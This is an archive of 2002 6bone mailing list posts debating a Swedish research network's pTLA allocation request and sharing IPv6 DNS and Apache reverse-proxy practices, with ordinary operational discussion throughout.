>>>area conducting long term research on the next generation networks. Our 
>>>current research program includes the next generation network topology and 
>>>scalability, interdomain issues, support for mobility, multicast and
>>>QoS, security, privacy, etc. The SSVL group provides regional, national 
>>>and global testbeds for experimental research also for other 
>>>organizations. We also provide an operator-neutral access network in the
>>>Greater Stockholm area.
>>>
>>>Our current user community (pingable now)includes
>>>- The IT-University, Stockholm, 3ffe:200:15:44::1, native link, routing 
>>>via rip
>>>- Stanford University, ssvl.stanford.edu 3ffe:200:15:802:240:5ff:fea2:242b 
>>>native link, routing via rip
>>>- stockholmopen.net 3ffe:200:15:3:a00:02ff:fe9c:62b3, native link, routing 
>>>via rip
>>>
>>>Users being connected
>>>- University Eduardo Mondlane, Maputo, dzowo.uem.mz, 
>>>(3ffe:200:15:60::1)tunnel and static route
>>>- Tallin Technical University (), native link, routing via rip
>>>- imit.kth.se (), native link
>>>- kistaip.net (), native link
>>>- networks connected to the Solix IXP (www.sol-ix.com) that request 
>>>transit to the 6Bone backbone for R&D purposes.
>>>- scint.org ()
>>>- lanman2002.org
>>>- lanman2002.net
>>>
>>>>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>>>>operational rules and policies as they exist at time of its
>>>>application, and agree to abide by future 6Bone backbone
>>>>operational rules and policies as they evolve by consensus of the
>>>>6Bone backbone and user community.
>>>>
>>>We commit to abide by the 6Bone operational rules and policies, current
>>>and future.
>>>
>>>>When an Applicant seeks to receive a pTLA allocation, it will apply
>>>>to the 6Bone Operations Group (see section 8 below) by providing to
>>>>the Group information in support of its claims that it meets the
>>>>criteria above.
>>>>
>>>We commit to provide the necessary information requested by the 6Bone
>>>Operations Group.
>>>
>>>>8. 6Bone Operations Group
>>>>
>>>>The 6Bone Operations Group is the group in charge of monitoring and
>>>>policing adherence to the current rules. Membership in the 6Bone
>>>>Operations Group is mandatory for, and restricted to, sites connected
>>>>to the 6Bone.
>>>>
>>>>The 6Bone Operations Group is currently defined by those members of
>>>>the existing 6Bone mailing list who represent sites participating in
>>>>the 6Bone. Therefore it is incumbent on relevant site contacts to
>>>>join the 6Bone mailing list. Instructions on how to join the list
>>>>are maintained on the 6Bone web site at < http://www.6bone.net>.
>>>>
>>>All three persons mentioned above are memmbers of the list 6bone@isi.edu
>>>and are prepared to join additional lists if required to fulfill this
>>>commitment
>>>
>>>Sincerely
>>>
>>>Bjorn Pehrson
>>>SSVL admin-c
>>>
>>
>




From 6bone-owner  Sat Apr 20 10:10:49 2002
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Date: Sat, 20 Apr 2002 20:10:17 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bjorn Pehrson <bjorn@it.kth.se>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request SSVL - review closes 3 May 2002
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On Sat, 20 Apr 2002, Bjorn Pehrson wrote:
> SSVL is a research network, separate from the regular KTH network and 
> from Sunet.  SSVL is an AS of its own, multi-homed with international,  
> and even intercontinental,  peering. We should not be regarded as a 
> regular university facility.

This does surprise me: it was hard to believe an AS number was used for 
this.  So this is not a regular university facility.  Rather, more like a 
regular university's (or even facility's) independent testbed.

With these considerations, a /48 from SUNET might be justified.

(By the way, I think we have similar (but larger, not yet widely in IPv6
business) here at FUNET:  http://www.otaverkko.com/ -- they have their
ASN, IPv4 blocks, but will probably get, in time when they request it, a
/48 from us.)

> The reason why we apply for p/sTLA status is that we are sponsored with  
> research grants and a few dedicated physical links to do research on 
> issues regarding ipv6 network topology, scalability and interdomain 
> issues which cannot be studied experimentally unless you are active on 
> the TLA level.

Surely you realize that this does not seem to be a valid reason?  I 
believe there are thousands of researchers who would like to do something 
like that too..?

> Neither Sunet nor KTH has a pTLA assignment. Sunet do have an sTLA 
> assignment but is not yet operating and has not yet responded to our 
> question about when they will start operating.  

I believe you should try to pressure KTH (and KTHNOC :-): if a client
organization has a need for IPv6, I think SUNET is obliged to assign 
space.  When that is done, quite a lot would be possible, including those 
bi-lateral peerings.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Sat Apr 20 11:16:34 2002
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Date: Sat, 20 Apr 2002 20:16:13 +0200
From: Bjorn Pehrson <bjorn@it.kth.se>
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To: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: pTLA request SSVL - review closes 3 May 2002
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Pekka,

Yes, SSVL is an independent research network. I know of other such 
networks although it is fairly few, not thousands. Since 1996, it is 
used by several universities and non-academic organizations to do 
various types of research that are impossible or hard to do in regular 
networks. Due to the topology of the network, AS8973 was granted us in 
1998. Due to the nature of our experiments, we moved from KTH address 
space to 192.16.124.0/22 in 2000, not to cause problems with aggregation.
Since some time, the focus has shifted towards ipv6 interchange and 
global  interdomain issues which require access to the TLA level. I do 
consider this a valid reason.
Sunet do provide addresses, altough they do not yet forward packets, 
but, as far as I know, they cannot provide a TLA-prefix for us.

Best regards

Bjorn
 
Pekka Savola wrote:

>On Sat, 20 Apr 2002, Bjorn Pehrson wrote:
>
>>SSVL is a research network, separate from the regular KTH network and 
>>from Sunet.  SSVL is an AS of its own, multi-homed with international,  
>>and even intercontinental,  peering. We should not be regarded as a 
>>regular university facility.
>>
>
>This does surprise me: it was hard to believe an AS number was used for 
>this.  So this is not a regular university facility.  Rather, more like a 
>regular university's (or even facility's) independent testbed.
>
>With these considerations, a /48 from SUNET might be justified.
>
>(By the way, I think we have similar (but larger, not yet widely in IPv6
>business) here at FUNET:  http://www.otaverkko.com/ -- they have their
>ASN, IPv4 blocks, but will probably get, in time when they request it, a
>/48 from us.)
>
>>The reason why we apply for p/sTLA status is that we are sponsored with  
>>research grants and a few dedicated physical links to do research on 
>>issues regarding ipv6 network topology, scalability and interdomain 
>>issues which cannot be studied experimentally unless you are active on 
>>the TLA level.
>>
>
>Surely you realize that this does not seem to be a valid reason?  I 
>believe there are thousands of researchers who would like to do something 
>like that too..?
>
>>Neither Sunet nor KTH has a pTLA assignment. Sunet do have an sTLA 
>>assignment but is not yet operating and has not yet responded to our 
>>question about when they will start operating.  
>>
>
>I believe you should try to pressure KTH (and KTHNOC :-): if a client
>organization has a need for IPv6, I think SUNET is obliged to assign 
>space.  When that is done, quite a lot would be possible, including those 
>bi-lateral peerings.
>




From 6bone-owner  Sat Apr 20 11:54:03 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bjorn Pehrson <bjorn@it.kth.se>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request SSVL - review closes 3 May 2002
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On Sat, 20 Apr 2002, Bjorn Pehrson wrote:
> Yes, SSVL is an independent research network. I know of other such 
> networks although it is fairly few, not thousands. Since 1996, it is 
> used by several universities and non-academic organizations to do 
> various types of research that are impossible or hard to do in regular 
> networks. Due to the topology of the network, AS8973 was granted us in 
> 1998. Due to the nature of our experiments, we moved from KTH address 
> space to 192.16.124.0/22 in 2000, not to cause problems with aggregation.
[...]
> Sunet do provide addresses, altough they do not yet forward packets, 
> but, as far as I know, they cannot provide a TLA-prefix for us.

I can feel for you -- life is rather difficult w.r.t. IPv6 connectivity in
Swedish Universities, I imagine.  Which is partially why you seem to have
chosen to go this route.

This surely would get IPv6 better in the Swedish community.. but.. is 
opening this can of worms _in the global scope_ worth the cost..

> Since some time, the focus has shifted towards ipv6 interchange and 
> global  interdomain issues which require access to the TLA level. I do 
> consider this a valid reason.

Usually these kind of more or less global tests are done either:
 - in co-operation with someone with possibility to do them, in your case 
SUNET
 - in a test network

Consider: how would you feel about researches applying for ASN and address 
block so they could experiment, research, etc. BGP behaviour in the 
global scope?  The approach and the tools would seem to be wrong.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Apr 20 13:11:17 2002
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Pekka,
I would like to stress that we are sponsored by and work with industry 
and other external organizations, as well as with other universities in 
a global context. It is not a matter just of ipv6 connectivity at 
Swedish universities. And there are many other issues than BGP 
behaviour. We believe that we have the competence and resources to do 
this research in a responsible way, given the access to the appropriate 
mechanisms.
Bjorn

Pekka Savola wrote:

>On Sat, 20 Apr 2002, Bjorn Pehrson wrote:
>
>>Yes, SSVL is an independent research network. I know of other such 
>>networks although it is fairly few, not thousands. Since 1996, it is 
>>used by several universities and non-academic organizations to do 
>>various types of research that are impossible or hard to do in regular 
>>networks. Due to the topology of the network, AS8973 was granted us in 
>>1998. Due to the nature of our experiments, we moved from KTH address 
>>space to 192.16.124.0/22 in 2000, not to cause problems with aggregation.
>>
>[...]
>
>>Sunet do provide addresses, altough they do not yet forward packets, 
>>but, as far as I know, they cannot provide a TLA-prefix for us.
>>
>
>I can feel for you -- life is rather difficult w.r.t. IPv6 connectivity in
>Swedish Universities, I imagine.  Which is partially why you seem to have
>chosen to go this route.
>
>This surely would get IPv6 better in the Swedish community.. but.. is 
>opening this can of worms _in the global scope_ worth the cost..
>
>>Since some time, the focus has shifted towards ipv6 interchange and 
>>global  interdomain issues which require access to the TLA level. I do 
>>consider this a valid reason.
>>
>
>Usually these kind of more or less global tests are done either:
> - in co-operation with someone with possibility to do them, in your case 
>SUNET
> - in a test network
>
>Consider: how would you feel about researches applying for ASN and address 
>block so they could experiment, research, etc. BGP behaviour in the 
>global scope?  The approach and the tools would seem to be wrong.
>




From 6bone-owner  Sat Apr 20 13:13:10 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Sat, 20 Apr 2002 14:13:16 -0600
To: 6bone@ISI.EDU
Subject: Re: pTLA request SSVL - review closes 3 May 2002
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On Sat, Apr 20, 2002 at 08:16:13PM +0200, Bjorn Pehrson wrote:
> Pekka,
> 
> Yes, SSVL is an independent research network. I know of other such 
> networks although it is fairly few, not thousands. Since 1996, it is 
> used by several universities and non-academic organizations to do 
> various types of research that are impossible or hard to do in regular 
> networks. Due to the topology of the network, AS8973 was granted us in 
> 1998. Due to the nature of our experiments, we moved from KTH address 
> space to 192.16.124.0/22 in 2000, not to cause problems with aggregation.
> Since some time, the focus has shifted towards ipv6 interchange and 
> global  interdomain issues which require access to the TLA level. I do 
> consider this a valid reason.
> Sunet do provide addresses, altough they do not yet forward packets, 
> but, as far as I know, they cannot provide a TLA-prefix for us.

And thus, we once again see evidence that the notion of hierarchial routing
is never going to fly without an enforced mandate... or everyone with an AS
will want a TLA which can be routed arbitrarily.

Yes, I know there's a multihoming draft. As it's name implies, it's.. well,
a draft. And none of the various multi-address-capable protocols are even
remotely close to wide adoption yet.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Sun Apr 21 20:03:00 2002
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Subject: Re: A DNS question re 6to6/IPv6 host IN A records. 
From: itojun@iijlab.net
Date: Mon, 22 Apr 2002 12:02:55 +0900
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	I don't think freebsd-stable is suitable for this thread, so dropped
	it from cc: list.

>I don't agree.  There may be differences what one means with 'production' 
>though.  Personally, if I had a power to switch on IPv6 on www.google.com 
>hosts, I would only do it by adding www.ipv6.google.com: NOT with 
>www.google.com.  People who are afraid of degrading service and it costing 
>real money are reluctant.

	it depends on how you run your IPv4/v6 servers.  for instance, we are
	running ftp.iij.ad.jp, one of the most famous anonymous ftp server in
	Japan, dual-stacked.  this is because we think it robust enough.

	for our company website, www.iij.ad.jp, we do like this:
	the we are using is like this:
	- "www.iij.ad.jp" has A record and AAAA record.  there actually are
	  two machines.
	- "A" record for www.iij.ad.jp points to one of them, which runs very
	  stable version of IPv4.  the machine has the actual data.
	- "AAAA" record for www.iij.ad.jp points to another one, which NFS-
	  mounts the data partition from IPv4 one.
	we do monitor them closely, and they have impressive uptime.

	if you run www.ipv6.google.com, people won't be able to smoothly
	migrate to IPv6.  i believe it a major drawback.

	my point is, there are a lot of ways you can operate dual-stack
	services, and you just need to make a right choice.

>An example of potentially technically capable stuff: IPv6 service of 
>playground.sun.com/ipv6/ was down/out-of-sync some time ago.. and that 
>isn't even a "production" site.

	i guess this is because IPv6 variant of playground.sun.com has not
	been given enough babysitting/monitoring.  I don't like it to be seen
	as an example of lousiness of IPv6.  it is lousy operation that causes
	trouble, not lousy protocol/implementation.
	(i'm not blaming those who administer playground.sun.com)

itojun

From 6bone-owner  Sun Apr 21 23:04:45 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: itojun@iijlab.net
cc: "'6bone'" <6bone@ISI.EDU>, "'ipv6users'" <users@ipv6.org>
Subject: Re: A DNS question re 6to6/IPv6 host IN A records. 
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On Mon, 22 Apr 2002 itojun@iijlab.net wrote:
[snip]
> 	if you run www.ipv6.google.com, people won't be able to smoothly
> 	migrate to IPv6.  i believe it a major drawback.
> 
> 	my point is, there are a lot of ways you can operate dual-stack
> 	services, and you just need to make a right choice.

I don't dispute this.  Telling people who don't have a lot of experience
with IPv6, though, to put their services in the same name as AAAA is not
often the best solution though.  

_When_ they're confortable enough with "IPv6 production", the move from
xxx.ipv6.yyy.com to (also) xxx.yyy.com is usually not a problem.

My point is that it's easy to begin with a separate zone -- there are no
(potentially) negative side-effects -- and move to combined zone when you
gain experience and feel confortable doing so.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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From: "Jeroen Massar" <jeroen@unfix.org>
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Subject: RE: A DNS question re 6to6/IPv6 host IN A records. 
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Robert wrote:

<SNIP>

> I'd really like to have the program Shoutcast Server
(www.shoutcast.com)
> able to run on the 6bone, able to listen to IPv6 addreses, but the
authors aren't answering me :-)
> I believe that as applications that are mainstream increase in
availability,
> more people will want to move across, even if it's only initially
running dual-stack.
You could try ice-cast IPv6...
Find it on: http://www.bugfactory.org/~gav/ipv6/

>> it depends on how you run your IPv4/v6 servers.  for instance, we are
>> running ftp.iij.ad.jp, one of the most famous anonymous ftp server in
>> Japan, dual-stacked.  this is because we think it robust enough.
> That's what it's all about. Robustness. And that takes management.

>>
>> - "AAAA" record for www.iij.ad.jp points to another one, which NFS-
>>   mounts the data partition from IPv4 one.
> interesting idea...

http://www.ipng.nl runs IPv6 & IPv4 in one Apache 1.3
http://games.concepts.nl runs IPv6 & IPv4 in one Apache 2.0.32 and it's
'abused' for a nice caching trick to allow IPv4-only webservers, like
the current available IIS :(, to be accessed over IPv6:

<VirtualHost *>
        ServerAdmin webmaster@example.org
        ServerName www.example.org
        ServerAlias www.ipv6.example.org
        ProxyRequests On
        ProxyPass / http://www.ipv4.example.org/
        ProxyPassReverse / http://www.ipv4.example.org/
</VirtualHost>

In your dns:
www.example.org.		IN A		172.16.1.1
				IN AAAA	3ffe:8114::1
www.ipv4.example.org.	IN A		172.16.1.1
www.ipv6.example.org.	IN AAAA	3ffe:8114::1

The "trick":

IPv4-only browser:
 - connects to www.example.org over IPv4

IPv6-only (or dualstack but IPv6-try-first-IPv4-as-fallback) browser:
 - connects to www.example.org over IPv6
 the proxy on 3ffe:8114::1 see's "www.example.org" Apache matches that
as a vhost.
 and redirects the query to www.ipv4.example.org (172.16.1.1) which is
an IIS or other IPv4-only box.

Two warns:
 - add trailing slash ('/') to the ProxyPass & ProxyPassReverse
 - either
    use a hostname with only a v4 alias, thats why I have the
www.ipv4.example.org
   or
    use a "ProxyRemote * http://proxy.example.org" passing all the
requests through a IPv4-only proxy.
   Otherwise the proxy-apache will try the IPv6 version (the local
version) and start looping ;)

This allows one to 'experiment' with the whole IPv6/IPv4 stuff without
'hazarding' your IPv4 servers.
Also users who _do_ have IPv6 connectivity will have a fallback when the
IPv6 server is down.
And for log-fetisches, the proxied hosts can be configged to do
customlogs per vhost ;)
This setup works quite well btw and saves on the hassle of setting up
NFS on NT boxes (it can be done ofcourse, but NFS doesn't know much
about NTFS acl's, and with this transparent proxy everything is kept
transparent, it's all in the name ;)

Greets,
 Jeroen


From 6bone-owner  Mon Apr 22 03:54:54 2002
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Date: Mon, 22 Apr 2002 12:54:56 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Jeroen Massar <jeroen@unfix.org>
Cc: itojun@iijlab.net, "'Robert'" <robert@chalmers.com.au>,
        "'6bone'" <6bone@ISI.EDU>, "'ipv6users'" <users@ipv6.org>,
        "'freebsd-stable'" <freebsd-stable@freebsd.org>
Subject: Re: A DNS question re 6to6/IPv6 host IN A records.
Message-ID: <20020422105456.GK7029@bfib.colo.bit.nl>
References: <5288.1019217600@itojun.org> <000701c1e7b3$4007cda0$420d640a@unfix.org>
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Hi,

I agree with Pekka mostly. Having the same IN A/AAAA RRs for the
hostnames in your zonefile can make for awkward situations. 
One example might be the NL-BIT6 deployment. We have a C3640 with a 
10 mbps port acting as vlan router for IPv6. It then pushes the traffic
to the AMS-IX. If I am sitting at any IPv6 peer-site, and
ssh/ftp/telnet to my machine at the colo, and it were to have both
protocols reachable via the same name, then I would connect using IPv6
because this is preferred.

However, I like my pron to transfer fast, so the gigabit IPv4 connection
(yes I have a 1000SX board in my colo-box :) is preferrable over the
turtle-speed IPv6 connection.

The other point one might make is that IPv6 is often less well
maintained than the IPv4 network. Some tunnel might go down, zebra might
crash (or even IOS) and the connection will be left unattended by many
administrators. This is why I normally make some distinction either by
hostname 'hog.colo.bit.nl IN A' vs 'hog.colo.ipv6.bit.nl IN AAAA' or by
domain name 'hog.colo.bit.nl IN A' vs 'hog.ipng.nl IN AAAA'.

groet,
Pim

On Fri, Apr 19, 2002 at 05:02:34PM +0200, Jeroen Massar wrote:
| itojun@iijlab.net wrote:
| 
| > >In the forward/reverse zones on a 6to4 setup, should I have
| > >nanguo          IN A                203.1.96.5
| > >nanguo-v6      IN AAAA         2002:cb01:6005:2::1
| > >or
| > >nanguo          IN A                203.1.96.5
| > >nanguo          IN AAAA         2002:cb01:6005:2::1
| > >When referring to the particular host ?
| > >Either works - but which is ... errr... correct?
| > 
| > 	i recommend the latter, definitely.  with the latter 
| > you will be able o transition to IPv6 much smoother.
| 
| Definitely the latter one even with reverses.
| I do usually add something like:
| 
| purgatory	A 195.64.92.136
| purgatory	AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f
| purgatory.ipv4	A 195.64.92.136
| purgatory.ipv6	AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f
| 
| Reason: some programs can't be told to only use IPv6 or only IPv4
| (usually -6 or -4 option).
| This way one can 'force' it to use either transport.
| I do usually leave out the ipv4 though as I don't use that much any more
| anyways ;)
| 
| Greets,
|  Jeroen

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Apr 22 04:00:10 2002
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Date: Mon, 22 Apr 2002 13:00:05 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Joel Baker <lucifer@lightbearer.com>
Cc: 6bone@ISI.EDU
Subject: TLA request 'for multihoming' (was: pTLA request SSVL)
Message-ID: <20020422110005.GL7029@bfib.colo.bit.nl>
References: <Pine.LNX.4.44.0204201959080.11469-100000@netcore.fi> <3CC1B06D.4010607@it.kth.se> <20020420141316.A29719@lightbearer.com>
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| 
| And thus, we once again see evidence that the notion of hierarchial routing
| is never going to fly without an enforced mandate... or everyone with an AS
| will want a TLA which can be routed arbitrarily.

If everyone with an AS will have a TLA then I would be very happy. That
would mean 64K prefixes in the DFZ ;-)

| Yes, I know there's a multihoming draft. As it's name implies, it's.. well,
| a draft. And none of the various multi-address-capable protocols are even
| remotely close to wide adoption yet.
Afaik, there has never been an answer to multihoming except perhaps
'create a higher accepted prefixlen', but that only moves the problem
downwards. 

>From a technical point of view, there is no need for multihoming. An ISP
(look at the thread I started previously) can maintain redundant uplinks
to the Internet, multiple peering routers, multiple transit carriers,
etcetc, without the need for the customer to have its prefix announced
by more than one ISP.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Apr 22 04:01:52 2002
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Date: Mon, 22 Apr 2002 13:01:58 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Antonio Querubin <tony@lava.net>
Cc: itojun@iijlab.net, Jeroen Massar <jeroen@unfix.org>, ipv6@ipng.nl,
        "'6bone'" <6bone@ISI.EDU>
Subject: Re: IPv6 Address Oracle &
Message-ID: <20020422110158.GM7029@bfib.colo.bit.nl>
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On Fri, Apr 19, 2002 at 05:08:32PM -1000, Antonio Querubin wrote:
| On Sat, 20 Apr 2002 itojun@iijlab.net wrote:
| 
| > 	are there an html + png (or gif or whatever), or pdf version of the
| > 	slides?  i don't have any powerpoint around here...
Itojun,

The talk from Deering was very nice and well prepared, however not
extremely die-hard as most of us will have seen the contents of his
presentation already.

For anyone really interrested, I will create a PDF later on today and
post it somewhere on the web for your enjoyment.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Apr 22 05:27:48 2002
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Date: Mon, 22 Apr 2002 08:27:55 -0400
From: Nathan Lutchansky <lutchann-6bone@litech.org>
To: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use
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On Thu, Apr 11, 2002 at 02:22:12AM -0500, Ben Winslow wrote:
> Jeroen's post sparked interest in knowing what people are currently
> using with IPv6 support on a regular basis.

It's much easier to immerse yourself in IPv6 when you're not using
Windows.  IPv6-accessible services running on my Linux workstations and
servers are HTTP, NNTP, DNS, FTP, SSH, IDENT, Telnet, SMB, LDAP, CVS,
IMAP, SMTP, POP3, and Kerberos.  Even user information is distributed from
the central server using LDAP, and clients use Kerberos for
authentication, all over IPv6.  The remarkable part is that, with the
exception of Samba, all of these daemons are available with IPv6 support
either with RedHat 7.2 or directly from the application author.  Samba is=
=20
the only package that needed a third-party patch.  Hopefully that will be=
=20
resolved in Samba 3.0.

The only services I use that don't have IPv6 support are CUPS, X, and VNC. =
=20
IPv6 VNC would be really nice on the Windows side, but considering that
Windows support for everything is so unbelievably weak right now I'm not
surprised.  I can't hardly make myself more IPv6-y without Microsoft's=20
help.  :-/

> Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
> besides Exim support IPv6?  What MUAs support IPv6?

Sendmail has IPv6 support.  RedHat has been shipping an IPv6-enabled=20
Sendmail since 7.0.  Courier's SMTP server, as well as the rest of the=20
Courier package, supports IPv6.  I believe qmail and Postfix require=20
patches, but I'm not so familiar with those packages.

> ssh, HTTP, and nfs make up the majority of my traffic, so I'm more or
> less content.

It would be nice to have an IPv6-enabled NFS client/server for Linux, but=
=20
I don't care that much since I don't use NFS personally.  -Nathan

--=20
+-------------------+---------------------+------------------------+
| Nathan Lutchansky | lutchann@litech.org |  Lithium Technologies  |
+------------------------------------------------------------------+
|  I dread success.  To have succeeded is to have finished one's   |
|  business on earth...  I like a state of continual becoming,     |
|  with a goal in front and not behind. - George Bernard Shaw      |
+------------------------------------------------------------------+

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From 6bone-owner  Mon Apr 22 05:35:15 2002
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From: Phil Benchoff <benchoff@vt.edu>
Date: Mon, 22 Apr 2002 08:35:21 -0400
To: 6bone@ISI.EDU
Subject: Re: [6BONE] A DNS question re 6to6/IPv6 host IN A records.
Message-ID: <20020422083521.C18779@groupw.cns.vt.edu>
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Since people are posting about how they are handling DNS issues, I thought
I would explain what I do as well.

<whatever>.example.edu         normal v4 records
<whatever>.ip6.example.edu     AAAA records hosted on our production bind-8
<whatever>.ip6a6.example.edu   A6 records hosted on test bind-9
<whatever>.ipv6.example.edu    A,A6,allow-v6-synthesis test bind-9

* The only zone data I enter is the ip6a6 data.  The rest are generated
  from that file.

* The ipv6.example.edu zone is the simulation of what will happen when
  we move the v6 stuff into the production zone.  The only issue to
  deal with is servers that do not support v6 on all of their services.

* The ip6 and ip6a6 zones are primarily used for testing exactly how
  applications react when there is a specific type of RR returned.

So far, this appears to work pretty well.

Phil

From 6bone-owner  Mon Apr 22 06:11:46 2002
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From: Phil Benchoff <benchoff@vt.edu>
Date: Mon, 22 Apr 2002 09:11:53 -0400
To: 6bone@ISI.EDU
Subject: Apache 2.0 Reverse Proxy for v6 access to v4 servers
Message-ID: <20020422091153.E18779@groupw.cns.vt.edu>
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Old subject: A DNS question re 6to6/IPv6 host IN A records

Jeroen Massar <jeroen@unfix.org> wrote:
> http://www.ipng.nl runs IPv6 & IPv4 in one Apache 1.3
> http://games.concepts.nl runs IPv6 & IPv4 in one Apache 2.0.32 and it's
> 'abused' for a nice caching trick to allow IPv4-only webservers, like
> the current available IIS :(, to be accessed over IPv6:
>
> <VirtualHost *>
>         ServerAdmin webmaster@example.org
>         ServerName www.example.org
>         ServerAlias www.ipv6.example.org
>         ProxyRequests On
>         ProxyPass / http://www.ipv4.example.org/
>         ProxyPassReverse / http://www.ipv4.example.org/
> </VirtualHost>


I have been playing with this same thing through various betas of Apache 2.0
and the released 2.0.35.  The cool thing about this is that authentication
is passed through the reverse proxy, i.e. password-protected pages are
still password protected.  You have to be careful about things protected
by IP address or domain name since the v-4 server sees the access from
the reverse proxy. (Note: I do not have "Proxy Requests On" in my config.)

Since I started playing with this, I have had problems with partial data
being returned.  It has improved with the various releases, but I still
see it in 2.0.35.  A typical example looks like this:

   [Mon Apr 22 08:53:10 2002] [error] [client <v6 address> ] proxy: Error reading from remote server returned by /img/misc/vt-logo.gif, referer: http://<whtever>.ip6.vt.edu/public/toc.html

It appears that the Apache 2.0 server tries to fetch
htdocs/error/HTTP_BAD_GATEWAY.html.var after this happens.  I haven't looked
at it enough to figure out exactly what is going on yet.  I've only tested
under Linux, and may try a FreeBSD or Tru64 version to see if that makes
a difference.

Anybody else see this problem?

Phil


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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Pim van Pelt'" <pim@ipng.nl>
Cc: <itojun@iijlab.net>, "'Robert'" <robert@chalmers.com.au>,
        "'6bone'" <6bone@ISI.EDU>, "'ipv6users'" <users@ipv6.org>,
        "'freebsd-stable'" <freebsd-stable@freebsd.org>
Subject: RE: A DNS question re 6to6/IPv6 host IN A records.
Date: Mon, 22 Apr 2002 16:18:19 +0200
Organization: Unfix
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Pim van Pelt [mailto:pim@ipng.nl] wrote:

> Hi,
> 
> I agree with Pekka mostly. Having the same IN A/AAAA RRs for the
> hostnames in your zonefile can make for awkward situations. 
> One example might be the NL-BIT6 deployment. We have a C3640 with a 
> 10 mbps port acting as vlan router for IPv6. It then pushes the
traffic
> to the AMS-IX. If I am sitting at any IPv6 peer-site, and
> ssh/ftp/telnet to my machine at the colo, and it were to have both
> protocols reachable via the same name, then I would connect using IPv6
> because this is preferred.
ssh -4 purgatory.unfix.org or the 'ssh purgatory.ipv4.unfix.org' trick
but I don't have that one in the outside dns apparently ;)

> However, I like my pron to transfer fast, so the gigabit IPv4
connection
> (yes I have a 1000SX board in my colo-box :) is preferrable over the
> turtle-speed IPv6 connection.
IMHO you should upgrade that IPv6 connect.
Fortunatly 10mbit is still 2mbit more than my inet-uplink is capable of
And:
--- purgatory.unfix.org ping statistics ---
5 packets transmitted, 5 received, 0% loss, time 4035ms
rtt min/avg/max/mdev = 19.342/21.498/24.997/2.005 ms

vs:
--- purgatory.unfix.org ping6 statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 19.9/21.9/27.3 ms

Doesn't differ much for me, latency wise.
Besides that I don't have that heavy pr0n traffic desirement ;)
Btw.. did you see that nice 10/100/1000mbit port on those cute Powerbook
G4's ?
And they can do IPv6, now I'll only have to find some financial aid and
that gbit uplink <grin>

> The other point one might make is that IPv6 is often less well
> maintained than the IPv4 network. Some tunnel might go down, zebra
might
> crash (or even IOS) and the connection will be left unattended by many
> administrators. This is why I normally make some distinction either by
> hostname 'hog.colo.bit.nl IN A' vs 'hog.colo.ipv6.bit.nl IN AAAA' or
by
> domain name 'hog.colo.bit.nl IN A' vs 'hog.ipng.nl IN AAAA'.
Absolutely, but I personally know who to kick when you bring down my
IPv6 uplink <evil grin>
Also IPng.nl fortunatly has only been down due to scheduled
maintainances and not because
it 'failed' suddenly. And you probably also remember how the couple of
times we saved
a box because the IPv4 routing was peeped and we still could reach it
over IPv6; Long live native IPv6.

This whole story ofcourse all depends on the fact how far one is in the
transition process and if you
take IPv6 for granted as a 'must-work' service level just like IPv4.
Personal taste also comes in mind ofcourse ;)

Greets,
 Jeroen


From 6bone-owner  Mon Apr 22 07:47:24 2002
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
cc: Phil Benchoff <benchoff@vt.edu>
Subject: Re: [6BONE] A DNS question re 6to6/IPv6 host IN A records.
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Apr 22 2002 08:35 -0400, Phil Benchoff wrote:

> Since people are posting about how they are handling DNS issues, I thought
> I would explain what I do as well.
>
> <whatever>.example.edu         normal v4 records
> <whatever>.ip6.example.edu     AAAA records hosted on our production bind-8
> <whatever>.ip6a6.example.edu   A6 records hosted on test bind-9
> <whatever>.ipv6.example.edu    A,A6,allow-v6-synthesis test bind-9
>
> * The only zone data I enter is the ip6a6 data.  The rest are generated
>   from that file.
>
> * The ipv6.example.edu zone is the simulation of what will happen when
>   we move the v6 stuff into the production zone.  The only issue to
>   deal with is servers that do not support v6 on all of their services.
>
> * The ip6 and ip6a6 zones are primarily used for testing exactly how
>   applications react when there is a specific type of RR returned.
>
> So far, this appears to work pretty well.
>
> Phil

Servers not supporting IPv6 on all services is the biggest obstacle
for me. I need to upgrade to a more recent glibc in order to get
support for UDP over IPv6 with the Linux 2.4 kernel tree, but
upgrading the C library isn't something you do in a coffee break.
Other than that, all services on one of my boxes are IPv6-enabled.

